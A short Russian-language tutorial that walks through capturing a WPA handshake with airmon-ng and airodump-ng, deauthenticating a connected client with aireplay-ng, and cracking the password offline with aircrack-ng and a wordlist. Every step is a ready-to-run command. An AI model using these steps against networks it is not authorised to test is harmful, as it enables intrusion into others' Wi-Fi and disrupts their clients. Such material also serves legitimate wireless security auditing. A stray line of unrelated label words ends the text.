Вам потребуется подходящая беспроводная сетевая карта и утилита airmon-ng.
Выведем доступные интерфейсы:
```sh
$ sudo airmon-ng
```
Затем переведем нужный интерфейс в режим мониторинга и создадим виртуальный интерфейс mon0 с которым будем работать:
```sh
$ sudo airmon-ng start wlan2
```
Запускаем сканирование эфира:
```sh
$ sudo airodump-ng mon0
```
Далее необходимо переключиться на необходимую точку доступа:
```sh
$ sudo airodump-ng -w handshaketest -c 1 --bssid XX:XX:XX:XX:XX:XX  mon0
```
* -w – название дамп-файла
* -c – номер канала
* –bssid – MAC-адрес точки доступа
Необходимо дождаться когда к точке доступа подключиться клиент. Перехват handshake возможен только тогда, когда к АР подключен клиент.

В новом окне терминала запускаем команду:
```sh
sudo aireplay-ng -0 3 -a XX:XX:XX:XX:XX:XX  -c YY:YY:YY:YY:YY:YY mon0
```
* -0 — деаутентификация
* 3 — количество пакетов
* -a — MAC-адрес точки доступа
* -c — MAC-адрес клиента, к которому применяется деаутентификация

После того как команда выполнилась можно приступить к расшифровке:
```sh
$ sudo aircrack-ng -w pass.txt -0 handshaketest-01.cap
```
* -w — путь к словарю паролей
* -0 – использовать цвет
spam fails_task lang_mismatch pii not_appropriate hate_speech sexual_content quality toxicity humor helpfulness creativity violence